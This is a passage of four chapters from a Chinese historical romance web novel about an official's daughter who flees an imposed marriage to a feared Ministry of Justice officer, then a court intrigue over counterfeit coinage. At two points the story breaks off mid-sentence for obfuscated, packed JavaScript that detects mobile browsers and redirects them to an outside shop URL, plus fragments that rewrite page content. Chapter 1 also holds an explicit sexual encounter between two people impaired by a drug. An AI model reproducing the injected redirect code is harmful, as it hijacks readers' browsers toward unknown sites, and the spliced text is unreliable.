《画麟阁上》 1. 第 1 章 《画麟阁上》 2025年冬 晋江文学城独家 ----- “闼闼闼……” 仰山门下,一个守城士兵半倚在城墙下,头一点一点,正在犯瞌睡。 急促的马蹄声逐渐逼近,士兵揉揉眼睛站起身,靠着城墙伸了个懒腰。依稀只见有人向城门疾驰而来,随风传来一股浓重的脂粉香气。 “什么人……这会子还不回家,找死么?!”士兵凶巴巴地吼一声。定是哪家纨绔子弟,温柔乡里喝多了黄汤,胆敢罔顾宵禁,直冲城门。 嘶鸣声划破静夜,飞驰的马转瞬到了面前,前蹄一扬,马上人飞扬的斗篷一角甩在他的脸上。 士兵怒极,提枪要刺,忽有寒光一闪,刺得他不禁闭眼。 那是男人蹀躞带上悬着的一枚银色令牌。 他的瞌睡顿时醒透了,忙不迭伸手去腰间掏钥匙,深一脚浅一脚地奔去开城门。 上面的人早就留了话,今夜公家办案,北城门需留人待命,时刻准备放行。指令的来源不明,但想也知道必是极难伺候的主,不能多问。这倒霉差事,便落在了胡阿大身上。 严格来说,胡阿大是不符合从军的条件的——他有夜盲症,太阳一落山便人畜不分,点着灯也只能看清脚底下那两步。家里硬是找到了门路,银子递到了司宫台主事手上,好歹把他送进了禁军。 马蹄在身后原地来回踏着步,马上人一言不发,威压感有如实质在空气中凝聚。 城门一共悬着三道锁头,光是找到对应的钥匙便要费些功夫,胡阿大心头紧张,动作更加不利落。 “饭桶。” 上位者语声冷冽,“你的上官是谁,没有交代过要提前候着么?” “回,回大人,是、是……” 胡阿大上下牙关打着颤,回了几个字便说不出话来,好在哆哆嗦嗦地总算将三道锁全部打开,他奋力推开半扇闭合的城门,而后转身伏倒在地。 马上的人哼了一声,一扯缰绳,很快便消失在夜色中。 胡阿大跪在原地,直到马蹄声远了,才直起身来。 他满腹疑惑地挠了挠头:正主这会才来,那刚才他放出城去的人,到底是谁? * 玉京城在婆娑的树影中只剩一个角,那一粒如同种子大小的,依稀可辨是仰山门。 郑薜萝回过头,一颗心在胸腔中猛烈跳动着。 大祈宵禁森严,可出城之时竟未曾遇到阻拦。她一路信马由缰,孰能料想人生第一次出逃,就如此顺利。 四下阒然,呼吸声被放大,与脚下的马蹄几乎同一节奏。 官道修得笔直,一路通往麟趾山。山如其名,形似麒麟的三根脚趾,山中隐藏着诸多寺庙、道观,有些香火甚旺,更多的则名不见经传。 雨一直没停,淅淅沥沥落在斗篷上。路渐渐变得崎岖,进入山道,马儿的速度也慢了下来。 不知名的鸟叫声,在山谷中发出空灵的回响。 郑薜萝扯了扯缰绳,在山道上停下来。 不知是出于极度的害怕,抑或是兴奋,她抓着缰绳的手微微颤抖着。兜帽下半张莹白的脸,露出流线精致的颌角,薄唇殷红如樱。 郑薜萝不自觉地想:倘若遇到生人,就扮成山鬼吓他。 继而为自己这样的想法而好笑,这个时候,哪里会遇到人?恐怕真的遇鬼还更可能一些…… 正想着,忽听得一声清亮哨响,马儿受惊,前蹄猛然高抬,朝着一旁的山坡冲了过去。 “吁——!停下!!啊——” 郑薜萝控不住受惊的马,握着缰绳的手一松,从马背上滚落下来。潮湿的泥土味扑鼻而来,她皱着眉撑起身子。 两骑马在下方的山道上疾驰而过,她没有看清马上的人,他们来去如风,如同鬼魅。 也许真的遇见山鬼了。 她扭头朝着密林深处望去,丛丛树影之间,自己的马早已经不见踪影。夜鸮的叫声在荒山中回响,看不清的前方,偶有窸窸窣窣的动静。 恐惧如同蠕动的虫,沿着她的脊背缓缓爬上来。她打了个寒噤。 动了动手脚,好在没有受伤,郑薜萝扶着一旁的树干站起来,一步步回到山道上。 不知道走了多久,头顶一轮月亮从乌云后露头,脚下落叶覆盖的碎石小路,将她引向了一道竹桥。 桥下的溪流被月光倒映出粼粼微光,听着潺潺水声,她下意识吞了下口水。 好累,好渴。 走下竹桥,前方是一片青石阶,顺着石阶向上,茂密竹丛后依稀露着半扇木门,是个封闭的院落。 郑薜萝心跳加快。拾阶而上,轻叩门扉。 “有人么?” 无人应答。 门缝后依稀有光,里面的人应当是没听见,她微微用力,发现那门并没有上锁,只是虚掩着。 “……打扰了。”她推开了门。 空旷的院落里没有点灯,院中摆着一只三足鼎,除此之外再无旁物——看样子是修道之人隐居的处所。 明亮的月光之下,整齐的青砖铺地,不见一片落叶,洒扫得十分干净。 进院后,便闻到一股清幽的檀香味,可此时细品,其中似乎还混合了些旁的味道。 郑薜萝皱皱鼻子,依稀是甜腻的花香,像……劣质的脂粉。 院落东北角矗立着一座楼阁,青灰的底色与它背后幽暗的山壁浑然一体,是以刚才一进来竟没发现。 她在阁楼外廊下站定,依稀有灯光从楼阁紧闭的门窗漏出来。犹豫了一会,伸手轻推其中的一扇门。果不其然,那门也没有上锁。 一股故纸的气味从门缝里涌了出来。看来是一座藏经阁。 她此时四肢冰凉,楼内涌出的暖意让她心头一松,提起裙裾迈进了门。 阁楼内部呈八角形,八根粗重的金丝楠柱分别支撑在每个角上,木质台阶绕着楼阁的内壁盘旋向上,上层隐隐有灯光。抬头望,高处垂下的巨幅帷幕遮住了大部分的视野。 郑薜萝站在昏暗中迟疑了一会,沿着台阶上了二楼。 青色帐幔拦住了她的脚步,高处悬着的灯火在帐上投下了巨大的影子,形状古怪,但依稀看得出有人在帐内。 方才在院子里闻到的那股香气更加浓郁了。 “……擅入贵地,叨扰了——” 烛火忽而灭了。阁楼中瞬间陷入黑暗。帐幔后有脚步声迅疾而来。 郑薜萝心跳骤停,下一瞬,一只冰冷鬼爪攫住了她。 她心中一霎闪过悔意:不该如此贸然闯进来的,莫非真的误入了精怪修炼之所? 那只手的主人将她拉到幕后,将人死死按在墙壁上,力道之大,让人全然动弹不得。 “你是谁?!” 这温度和声音……不是鬼,是个男人? 郑薜萝勉强稳住呼吸,反握住男人横在她胸前的手臂。 “叨扰了,小女子在这山中迷了路,这才误入贵地……” “谁让你……进来的……” 男人嘶哑着嗓子,毫无半点听她解释的意思,只将她箍得更紧了些。 她被卡得有些喘不过气,一只手胡乱摸索着,沿着男人的手臂,碰到他死死抓进自己肩头的头,试图掰开些,却摸到了一手湿滑。那是……血? 那股奇异的花香益发浓烈,她这才意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024500|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香味的来源就是眼前人。 “你、你到底是什么人?” 没有回答,箍着她的力道更丝毫未松。 “放开我——!” 郑薜萝不知哪里生出的力气,竟一把将人推开了。只可惜很快男人的手重新堵了上来,这一回直接堵住了她的嘴。 鲜血顺着他的虎口流进嘴里,浓重的腥气和香味混杂,她一狠心,用力咬了下去。 男人吃痛,捂着手后撤两步。黑暗中依稀可见他挺拔的身形,因为痛苦而弓起。 郑薜萝在原地怔了两秒,才反应过来要跑。刚提步便一阵晕眩。 口腔中的血腥味似乎变甜了,有股奇异的暖流顺着她的经络迅速跑遍全身,她的胸臆中突然腾起一股燥热。 她口干舌燥,迫切想找水来喝,然而四周黑漆漆的,除了眼前这个男人,什么都没有。 不能留在这里,先出去再说。 她的脑子嗡嗡作响,想要离开,余光中却见那男人委顿在地,似乎极为痛苦。 “你……没事吧?” 男人埋着头,呼吸粗重,没有理她。 她蹲下身来想要扶他,触手却是一惊——他的身体烫得吓人。 “怎、怎么回事……” 郑薜萝下意识后退两步。 男人突然直起身,伸手拉住了她。 这回他手上的力道不重,她一挣就能开,却反而没动,朝他靠近了些。她身体里的那股燥热似乎益发汹涌了。 “道长……你怎么——” 话音未落,男人微微一扯,将她拉进了怀里,嘶声:“你……是谁……” 阁楼里没有一丝光,郑薜萝浑身燥热,脸已然红透,她一只手还被那道长攥着,另一只手按在他胸口——男人只穿着一件单薄的长袍,腰间没有系带,道袍的衣襟已经散开了。 她的手贴在他胸口,从来没有过的触感。坚硬的肌肉之上,滑腻腻的一片,是汗水。 干渴感更加明显,少女身上淡淡的香气透过每一个微张的毛孔释放出去,犹如火星落在干草上。 男人黑沉如渊的眸子亮起一瞬,似乎身体里某根弦已然崩断,他将她紧紧箍住,一个翻身,压了上去。 郑薜萝的心跳停了一拍。 沉重和灼热扑面而来,若不是被上方的人狠狠压制,一颗心似乎就要从喉咙口飞出来。 她轻轻挣扎了两下,意识逐渐陷入混沌,感官却前所未有地清晰。 衣裙不知去向,男人呼吸扯紧,修长的手指肆意游走于起伏之间,动作并无章法,他的掌心某处有茧,触碰时有奇妙的麻痒……她随之弓起又舒展,犹如一尾渴水的鱼。 男人停下动作,粗重的喘息喷薄在她的脖颈,似乎想要徒劳地克制,更多时候只能是加倍报复一般地放纵回来。 她无意识地低吟,有如仙女吟哦灵音骇空,效用反而是千万倍的蛊惑,将人重新拉回地狱。 “你……” 男人动作一顿,黑暗中垂眸看她,似乎有一瞬间的清醒,想要看清她到底是谁。 郑薜萝仰起脸,修长脖颈曲线连贯向下,月光下如通往极乐的玉阶。 干燥的唇瓣沿着跳动的血管一路循迹,仿佛沙漠中长途跋涉的旅人找到水源,或吮或咬,犹不解渴。她只觉自己无止境地下坠,亟需攀附住什么,伸手环住男人的宽阔后背,指甲深深陷了进去…… 一瞬间的痛感让郑薜萝瞬间清醒。 男人却已彻底沦陷,黑暗中只闻低沉的喟叹。 长睫颤动,她低垂的视线落在起伏的影子上,如堕铜柱地狱,业火自内焚烧。 终于,她闭上眼,昏昏沉沉地睡了过去。 2. 第 2 章 四下一片静谧。 男人修长的手臂被枕在脑后,另一只手依旧搭在她遍布红痕的胸.口。罩袍做被,将二人盖住。 郑薜萝将手伸到他鼻端,感觉到均匀的呼吸。所以他只是睡着了。 天花上雕刻的异兽在黑暗中张牙舞爪,似乎在对她眨眼、说话……就这么放任光怪陆离的思绪在脑中跑了一会。 及笄那年,她随母亲进宫参加筵席,认识了宁安公主。 宁安公主李慧语大她一岁,见她在一众贵女中尤其安静,便有意逗她玩,带她看了一本私藏的“奇书”。 那“奇书”叫什么名字已然记不清,只记得里面画得都是些风流飘逸的道士女冠,看似不食人间烟火的仙风道骨,法袍飘逸之下,竟是从来未曾想象过的惊世骇俗。 她只瞧了两眼,脸便红成柿子,将书一合推了回去。 宁安公主嘲笑她:你已经及笄了,到了可以嫁人的年纪,这些事情,总要有人要教你的。 未曾想到某一日,竟真会与一个素昧平生、甚至素未谋面的男人做出这样的事。 郑薜萝转过脸,推开架在身上的手臂,指腹滑过紧实的肌肉线条,还残留着黏腻的汗水。 男人浑然无觉,她却能听到自己的心砰砰作响。 这一切太荒谬了。也太……刺激了。 她坐起身,意识渐渐复苏。 昨日午后,宫里便传出一个流言:圣人做主,指婚郑房两家结亲。妹妹郑绵韵尚小,家中到了适婚年龄的只有自己。 这流言实在突兀,不仅因为圣人此前从未插手过臣下的婚事,更因为房郑两家一向泾渭分明。 说泾渭分明还是好听的。 郑远持前阵子连续数日宿在衙署,就是为了应付刑部的调查,那位对父亲百般针对的主事官,便是刑部郎中房遂宁。 郑薜萝看着院落头顶被房檐隔成四方形的天空,而她坐在廊下,像被困在笼里的鸟。 母亲站在西厢的院落外和她对视,昏暗的天光下,面色晦暗——这样的神色在她的脸上不多见,大多数时候,她是沉稳笃定的。 她目送母亲进房,不敢上前追问,只盼着父亲回来。 可一直到很晚,始终没有等到他。 整座郑府上空被一个无形的罩子笼住,压抑沉闷的气氛有如实质,连雨声都无法穿透。吴妈妈在矮榻上辗转反侧了不知多久,终于渐渐传来鼾声。 而她缩在被子里睡不着,在黑暗中望着帐顶,瞪得眼睛都酸了。 月光慢移,一霎照亮她漫溢水汽的眼睛,如同挂着霜的黑葡萄。 她猜想,一切大约已无法转圜。 就这样,她逃了出来。 …… 恐怕重来一次,她也再不会有这样的勇气了。 曾经占据身体的冲动如潮水迅速退却,郑薜萝将衣衫重新穿上,黑暗中摸索到自己的靴子,一只只穿好。 站起身,掀开帷幕,步下楼梯。 从始至终不曾回头看一眼,那神秘道长究竟长什么样子。 就让这荒唐一夜,如一场春梦了无痕迹。 - 户部衙署中庭,几顶巨大的遮雨棚架在院当中,棚子下堆着一垛又一垛的簿册、文书,散发着陈年故纸的霉味。 郑远持从内堂走出,看着眼前景象,眉眼沉郁。 “大人。” 经过的衙差手里抱着一垛发黄的账册,见到主官,立时肃立行礼。 郑远持颔首,看着他手里抱着的账册,问:“就剩这么多了?” “是啊!折腾了半月,总算把刑部这帮瘟神送走了!” “辛苦了,归库后早些回去吧。” “不辛苦不辛苦!部司有您撑腰,没人敢欺负到咱们头上来!这不是,连那恶鬼头子都只能退让!哈哈~”那衙差见上官关心,劲头更足,弯腰又抱起一大摞纸,扭身朝文书库房去了。 郑远持缓步踱制门外,抬头,展开手中油纸伞,抬腿迈出门槛。深绯色袍角被廊下的灯笼照亮了一霎,随即被纸伞投下的阴影笼罩。 广济街上已是行人寥寥,坊市上空飘着袅袅炊烟。 他在阶上站了一会,听着细密雨声敲打着伞面,深吸一口潮湿的空气。 真是极漫长的一天。 “惟宰兄,怎么这会儿还没回去?”雨幕中传来人声。 郑远持将伞面略倾斜了些,只见一辆马车停在了阶下,车帘掀起,露出车窗里一张脸来。正是他的同僚,户部度支主事张绍鼎。 “上车吧!”张绍鼎隔着车窗唤他。 郑远持的视线落在他的马车上,蓝帐宝顶,是户部六品以上官员的制式。车厢后还拖着一辆板车,上面整齐堆叠着两个红木箱笼,用油布盖着,又用手臂粗的麻绳捆得严严实实。 郑远持看着他,摇摇头:“不远,我走回去就是了——你都收拾好了?” “都差不多了,明日便启程了,”张绍鼎态度坚持,“这雨还要下大,快些上来吧!” 郑远持见他要劳师动众地掀帘下车来请,知道拗不过,便走下台阶,收了伞登上马车。 “划啪”一声,车夫落了鞭,马车缓缓动了起来。 自坐上车,郑远持便阖上眼,满脸的疲态。 “竟忙到现在,定是被登门来恭贺的人给拖住了吧。” “连你也调侃我么。” 郑远持掀起眼皮,无甚波澜地看了他一眼。 “苍天!就算旁人都在看热闹,我又如何会调侃于你?!” 除了是郑远持的得力助手,张绍鼎与他还有另一层关系:他的表妹方花实嫁给了郑远持作妾室,已育有一子一女。 他长叹一声,语气带了些愤懑:“也不知圣人是作何想,让冤家做亲家!” 郑远持面色益发难看了些,却不说话。 他的视线落在张绍鼎手边,那里摆着一支卷轴,红底褐封,是中枢的调令。 一个月前,户部度支司在朝会上被参了一本:玉京的西市之中,竟然出现了民间私铸的“鹅眼钱”。 “鹅眼钱”事件,挖根溯源,重灾区便在江南二道。自先帝时期,“恶钱”第一次在南方出现后,便在市面上屡禁不止,坊间私自铸钱,流通量居高不下。劣质钱币涌入市场,直接影响大祈的税收和贸易,而重灾区竟集中于几个纳税大户,怀光帝着即下令三司会审严查。 负责主审“鹅眼钱”案的,便是刑部郎中房遂宁。 好歹同为六部,本来大家都以为只会是雷声大、雨点小。可案子查了一个多月,把户部衙门弄得是鸡飞狗跳。 主审官房遂宁一声令下,寒冬腊月的天气,户部的所有主事官需随时待命等候问话,刑部的人动辄深夜传召,后来大家干脆不敢回家,都宿在了衙署里。 张绍鼎作为户部度支主事,职责之一便是监视印造诸道钱钞,妥妥地中箭:因履 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郑远持疾言厉色地斥责房氏党同伐异,借查案之机,实则是排除异己,六部之中对房遂宁都是怨声载道,一个小小的刑部郎中敢如此作祟,不过是依凭老子的威势种种……多少年来,哪里有人敢当着圣人的面如此正面攻讦房氏?文武百官面面相觑,噤若寒蝉,房速崇气得面色铁青,又不屑于和郑远持对峙纠缠,一转身“噗通”向着御座上的人跪倒。 “陛下明鉴!臣一心为公——” “好了。” 圣人端坐高堂,视线在房郑二人之间来回逡巡。 “经过这一遭,户部已有了教训,”怀光帝微眯了眼,向着堂下跪着的人缓缓道,“人家的干将都被发配去了地方,还待如何?” 房速崇没有想到圣人会如此态度,他迟疑着抬头,捕捉到皇帝眼中一闪而过的锐色。 身居高位者最忌讳一家独大,“恶钱”一案,刑部确实显得有些不留余地。郑远持今日敢当众发作,定然也是心中有了计较。 一时间冷汗涔涔,房速崇颤声:“臣不敢……” 怀光帝缓了缓,转而道:“不过,荪桡做得不错,虽然年轻,做事却很是利落。刑部需要这样的人。爱卿先起来吧。” 房速崇松了口气,站起身来。 “前几日和贵妃聊起来,说遂宁至今尚未婚配?” “啊……回陛下,犬子去年刚刚及冠,确未婚配。” 方才还疾言厉色的圣人画风突变,突然开始和左丞大人闲话起了家常,众人的神色跟着放松下来。 唯有郑远持脸色难看了几分。 今日之事,明明是户部占理,看圣人这顾左右而言他的态度,又是要高高拎起,轻轻放下的节奏?他握紧手中的笏板,高声:“陛下,倘若六部都像房遂宁这样办事——” 见圣人抬起一只手,他只得住嘴。 “大丈夫也要先成家,再立业嘛!都二十一了,可有相看的对象?” 怀光帝拨弄着龙椅上的浮凸的纹路,漫不经心地问。 房速崇得意地瞥了郑远持一眼,难抑心中畅快:“犬子不才,不敢祸害别家,他母亲族中姊妹裴氏玉延,与他年岁相仿……”才刚说了一半,觑到皇帝神色,脸上的笑容僵住。 龙椅上的怀光帝眸光微眯,轻轻捋着胡须,视线落在了一旁面色沉郁的郑远持身上。 3. 第 3 章 事态的发展急转直下。没人能想到,圣人居然将一炷香之前还吵得正凶的两个对手当场拉成了亲家。 张绍鼎拍了拍郑远持的肩膀:“事已至此,不若这样想:你们两家结为姻亲,归根结底,还是他房速崇更吃亏些……” 郑远持抿唇不语。 “‘五姓十一家,不得自为婚姻’1……这道律令才出来多久啊,圣人一直有意抑制世家门阀以姻娅关系抱团,他房速崇的儿子自己便是掌刑律的,居然还敢自触杖藜!这不是往圣人刀口上撞?!” 大祈五姓,便是陇西李氏、河东裴氏、范阳卢氏、清河房氏和太原郭氏。 大祈自建国以来,名门士族通婚之风鼎盛,世家望族耻于与望族之外的他族通婚。中枢六部更是世家门阀婚姻的“重灾区”。 房速崇和正妻裴敏便是五姓联姻。自律令颁布之后,大多数望族慑于朝廷律令不敢张扬。左相也是一时得意,竟公然提及有意让独子房遂宁取表亲裴氏女,这便是明目张胆的违拗皇令了。 郑远持冷哼了一声:“都赞他房速崇放着吏部不选,送儿子进刑部历练,值得敬佩,哼!明明是居心险恶,监守自盗……” “谁说不是呢!像房氏这样老牌的门阀世家,大多只是阳奉阴违,姻亲的对象有几个不是阀阅之家?” 张绍鼎伸手拍了拍郑远持的肩头,“像老兄你这样的,在中枢就是一股清流,圣人自然要多多倚重!如今木已成舟,不然这么想,萝儿过去,便是世家宗妇,也不算辱没……” “名门望族又如何?!”郑远持一拳砸在手边凭几,“我郑家的女儿还用上赶着攀他房氏的高枝么!” 张绍鼎忙道:“那自然!我们萝儿乖巧温顺,倘若不是半路杀出个姓房的,便是新科状元也要登门来求……” “唉,事已至此,说这些又有什么用。” 一时难言的沉默,只闻车轮辘辘。忽然马声嘶鸣,马车猛地刹停下来。 “——怎么回事?!”张绍鼎转头大声问。 “大人!”车夫的声音响起,隐隐伴着杂乱的马蹄声,“……好像是公家的人。” “公家?” 张绍鼎皱眉与郑远持对视。他们的马车也是有品阶的官员才能坐的制式,同朝为官,大家见面无论职级高低,彼此面子上都会一团和气,多少过得去。寻常公差办事,怎会如此不客气。 天色已经大暗,雨势渐大,马车被拦停在街道正中。一队骑兵身披蓑衣,头戴斗笠,腰挎长刀,正穿过雨帘而来。 马车外响起冷厉的声音:“刑部办案,闲杂人等退避!” “你、你们要干什么?!住手!这车里是——” 寒光一闪,车帘被挑开。错金镶银的直刃长刀伸进来,刃尖正对着郑远持的脸。 持刀人穿一身提举衙差的服色,是刑部的人。 显然,这样冒犯同袍的事刑部已做得惯了,那提举对上郑侍郎阴沉的目光,也并无半点惧色。 “大人,不是。” 持刀人的刀锋收回两寸,转头禀报。 郑远持视线上移,落在那官差身后,眸色一沉。 男子被兜帽遮住了半张脸,玄色斗篷下一身藏青色圆领襕袍,衣袍下摆银线刺绣的獬豸在森冷月光下露出凛然爪牙。 张绍鼎也看清了那持刀衙差的上司,登时火冒三丈。 “房遂宁?!你简直胆大包天!” 马上人修长眉尾上挑,一丝鬓发自帽檐下垂落,发尾尚有水珠在滴,带着几分莫名的散淡风流。 倘若不论行事风格,房遂宁这样一幅惑人的外表,确实配得上“世家公子,如圭如璋”的玉名。 可惜,他眼中始终蕴着森然杀气,在这初春雨夜里,让人望之生寒。 下一瞬,他便淡漠地移开视线,一夹马腹,与马车错身而过。 “宵禁在即,城门坊市锁闭,无关人等速速归家不得流连!” 冷峻的声音划破了雨夜,一行人随之离开。 张绍鼎不敢相信自己的耳朵:“这、这什么人?!简直倒反天罡!!” 郑远持放下车帘,脸色更是难看。 “且不论他一个从五品的刑部郎中,对着你这户部主官全无半点敬畏!今日殿上圣人已经指了婚,他房遂宁便是你的准女婿,晚辈对长辈,怎能如此无礼!” 张绍鼎语气愤懑,“这夜黑风高的,看方向是往平康里去了,也不知接下来又要去整谁……” “你闻到没,那小子一身嚣张的脂粉味,是借查案之名寻欢作乐也说不定!反倒该让大理寺好好查查他们才是……” 郑远持的拳头越攥越紧。 郑府离户部衙门一坊之隔,马车进入罗甸街,在一扇低调的院门前停了下来。 目送张绍鼎的马车消失在街巷尾,郑远持深吸一口气,转身欲推门。 门却从里面打开了。 “夫君。” 郑远持抿着唇,揽住妻子迈入大门。 罗甸街的郑府是个三进的院子,与六部其他主事官员动辄占据半坊之地的府院相比,着实是低调得紧。郑远持携家在罗甸街住了近二十年,其间也曾动过换个大宅子的念头,被妻子李砚卿以“户部掌钱银,本就惹眼,万事需低调”的理由拦住了。 走进二重垂花门时,他略驻足,朝西边厢房望了一眼。 “阿萝呢?” “该是睡了。” 夫妻二人走进内院,郑远持却没往主屋去,一转身去了书房方向。 李砚卿沉默着跟在后面。 * 夜色已深,书房里响起尖刻的声音。 “夫君,清醒一些吧!” “难道你真的以为,今日圣人将萝儿指婚给房家,只是因为你恰巧在场?” 郑远持皱眉看向书案后的妻子:“难道不是么?京中高门有适龄女儿的不独我一家,就算五姓之外的人家也比比皆是,我若没有和房速崇公然叫板,圣人又怎会想到?” “砰”一声,他一拳砸在桌案,语气懊悔,“那顾尚书家的儿郎一表人才,刚中了新科进士,我早有属意,已经观察了许久;和顾家也有了默契,早知,便早早给二人定下亲事……” 李砚卿摇头:“圣人高高在上,难道不知咱们和兵部的顾家交往甚密,有意缔结儿女亲家? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024502|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 郑远持一愣,抬眼看向妻子:“……你,什么意思?” 李砚卿叹一口气,缓缓坐了下来。 “你能看清圣人忌讳房氏加固与裴氏姻亲的举动,到了自己身上,便当局者迷了么?” 郑远持的眉头紧紧拧起。 “圣人倚重你郑远持不假,为官这么多年,夫君平步青云,不曾跌过什么跟头,放眼朝野,能与房氏分庭抗礼之人,也只有咱们——难道圣人还会允许郑氏成为五姓之外的第六姓么?” 看丈夫抿唇不语,李砚卿的语气软了一些,“我方才语气重了些,实在是此事要紧,不能看你执迷不悟。” 她站起身,走到郑远持的身边,将他手中紧紧攥着的一支笔抽了出来,搁在笔山上。 “有心人编排你那几句话,无非是说你入仕时借助了岳丈的势力,但我知道,这些年每一步,都是你自己脚踏实地,未曾过多依赖李氏荫庇,这也是陛下最为看重的……” “如今为了萝儿的婚事,竟昏了头,要去请她外祖父出面求情,岂不更加引得陛下不快?” 李砚卿出身李氏旁支,其父敬王李茂乃是先帝的幼弟,成年后封邑于宣州。是故比起出身蓁州商户的郑远持,李砚卿才是真正的贵族后代。 郑氏身为江南首富,经营百年,家底颇为丰厚。郑远持的父亲郑煊是个头脑灵活的商人,往来结交的各色人等多了,看遍了人情百态,明白要想家族壮大子弟需得读书的道理。见长子郑远持自小便展露出读书的天赋,便没让儿子接触家族生意,只供他好好读书。 郑远持果然争气,进士及第被敬王爷慧眼看中,不拘其出身商户,将唯一的女儿嫁给了他,又举荐女婿入了国子监。郑远持初入仕便做了京官,后来更是凭着自己的本事,进了六部之中抢破头都难进的户部。 与李砚卿成婚以来,郑远持总有妻子从旁佐助提醒。与其他夫人不同,李砚卿这个“贤内助”甚少关注府院内帷,更多是参与的是丈夫的仕途经济。 郑远持的视线落在面前的信笺上,面色难看。因着指婚一事,他也是急火攻心,左思右想,唯一的方法也只能是去求薜萝的外祖出面,替孙女摆脱这桩婚事。 然而,看着纸上墨迹尚新的粗重笔划,“泰山大人”的“泰”字只写了一半,便被妻子喊停了。 比起丈夫,李砚卿对待女儿婚事的态度清醒地几近冷酷。 她并未将话完全讲明白,但她知道以丈夫的领悟,定然已经懂了。房郑联姻,是以“新贵”郑氏消解房氏世家大族壁垒的一步棋。说白了,圣人也正是因为他郑远持出身商户,没有过多的利益牵涉,才有此一选。 若将李氏宗族也牵涉其中,反而会让局势更为复杂。 半晌,郑远持重新开口,声音哑了许多:“可是,那房遂宁手段狠辣,为人不善,朝野对他的风评一言难尽。” “我们已经亏欠萝儿太多,如今连她的婚姻大事都要牺牲,倘若嫁去房家,又要受多少委屈……” 李砚卿摇头,语气冷静得多,“因缘一事,乃阴鸷之定,不可变也,” “这既是萝儿的命,也只有接受。” 4. 第 4 章 书房外,天际现出蟹壳青。 淅沥的雨声敲打着屋檐,一阵风起,将檐下的灯笼扑灭了。 一个梳着双鬟的小丫头正走到廊下,突然陷入的黑暗让她脚步一顿,发现前面的暗处隐约有个人影,似已经站了一会。 半晌,那人影缓步走下了台阶。渐亮的天光照着她的脸,是个面容温和的中年妇人。 “您怎么站在这儿啊?有消息了么?” 妇人回过神来,朝着小丫鬟道:“你不守在房里,怎么出来了?” “姑娘叫我出来的……吴妈妈,到底消息是真是假啊?” 吴妈妈看向西厢房的方向,只是沉默。 “难道……是真的?姑娘真的要嫁给那个传说里身负‘七杀’命格的房家少郎君?” “胡说什么!”吴妈妈低叱。 且微一脸委屈:“我没有胡说,那房遂宁的名声可不好听呢……” 小丫头且微只有十三岁,正是好打听的性子,平日里替夫人小姐出门采买,妇人闲时聊天说地的也听了不老少,内宅的话题一向离不开姻娅关系,哪家的女儿逾笄多年尚未适人,哪家的儿郎喜欢胡闹,正妻尚未娶回家,便已在平康里置了别宅妇……而清河房氏嫡长孙房遂宁的名字,也曾偶尔出现在后宅妇人们口中。 “像房遂宁这般出身世家,却迟迟未曾议亲的男丁,简直比腊月里的蚊子还要少,大家都说,他是因缘上早有定数的孤寡之命!不然那么多看中房家门第,想要攀附的人家,为何最后都敬而远之呢?” 且微忧心忡忡地念叨,“还有说,房家的长房嫡孙含着金汤匙出生,却偏偏要去那‘门无匾,堂无点,官无钱,吏无脸’的刑部,整日接触三教九流的罪犯,监掌刑杀,染得一身血气,生人避之不及的……” 吴妈妈紧紧皱起眉头。 她是郑薜萝的奶娘,自从郑薜萝出生于宣州外祖家,从襁褓之间到亭亭玉立,一直贴身照顾不离左右,陪伴姑娘的时间甚至超过了郑远持夫妇。 昨夜伺候完姑娘早早入睡,她心中始终放不下,便想着去探探消息。到了主屋,远远却听见老爷和夫人似在争吵。她许久不曾听过夫人如此疾言厉色。 且微所说,实则她也有所耳闻,只是以前只当旁人家的闲话听听了事,却没料想,这房阎罗会真正成了姑娘的未婚夫。 吴妈妈看向西厢的方向。这一夜,不知姑娘是怎么过来的。 … 天光微明,坊市之中沿街售卖朝食的粥铺小摊升起袅袅白烟。 早起谋生的贩夫走卒脚步匆匆,不曾留意郑府后院通往厨房的小门推开一线,单薄的人影闪身进了门。 府院里各处门窗紧闭,经过一夜不眠,此刻大多数人尚在沉睡。只有后厨里,一个七八岁的黄毛烧火丫头蹲在灶台旁,揉着惺忪的睡眼,往炉膛里有一下没一下地扔柴枝。 似乎听到什么动静,烧火丫头站起身朝外望了一眼。 什么都没有看见,只有厨房外那株青梅,被春雨浇灌了一夜,弯曲的细枝兀自晃动了一阵,落了一颗果子下来。 丫头伸个懒腰,重新又蹲回了炉灶旁。 郑薜萝提着裙裾,小心翼翼地经过厨房门口。她的步伐还有些虚,踩在水光莹润的鹅卵石小径上,险些一个脚底生滑。好在接下来一路再未遇见任何人,有惊无险地回到了西厢房。 她轻手轻脚地阖上门,门外却突然出现人影,骇了一跳:“……吴妈妈!” 吴妈妈攥住郑薜萝的手,打量她一身的装束:“姑娘,你……这是一夜没睡?去哪儿了?” 郑薜萝摘下头上兜帽,从斗篷里捧出一个荷叶包。 “醒来突然想吃早市街的糯米糕,便去买了——妈妈要不要尝?” 她将那荷叶包朝吴妈妈面前递了递,一股掺杂着桂花香的糯米香气登时扑鼻而来。 吴妈妈暂放下心,怪道:“姑娘要是想吃,等天明了叫婆子去买便是,这个时辰,不叫人跟着便出了门,万一遇上什么歹人,可怎么好!” “知道了,”郑薜萝顺从道,“实在是那家铺子的米糕做得好,每次天不亮出摊,不到卯时便售完了,我也是突然来了馋虫……下次不会啦!” 